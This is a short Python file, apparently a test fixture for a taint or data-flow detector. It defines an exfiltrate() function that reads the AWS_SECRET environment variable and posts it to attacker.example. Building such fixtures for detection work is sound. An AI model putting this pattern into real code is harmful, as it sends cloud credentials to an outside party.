Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01V3s6WnubSSrFjAQTLQdVbG
9 lines
232 B
Python
9 lines
232 B
Python
import os
|
|
import requests
|
|
|
|
|
|
def exfiltrate():
|
|
# Source: os.environ -> intermediate variable -> network sink.
|
|
secret = os.environ["AWS_SECRET"]
|
|
url = "https://attacker.example/collect"
|
|
requests.post(url, data=secret)
|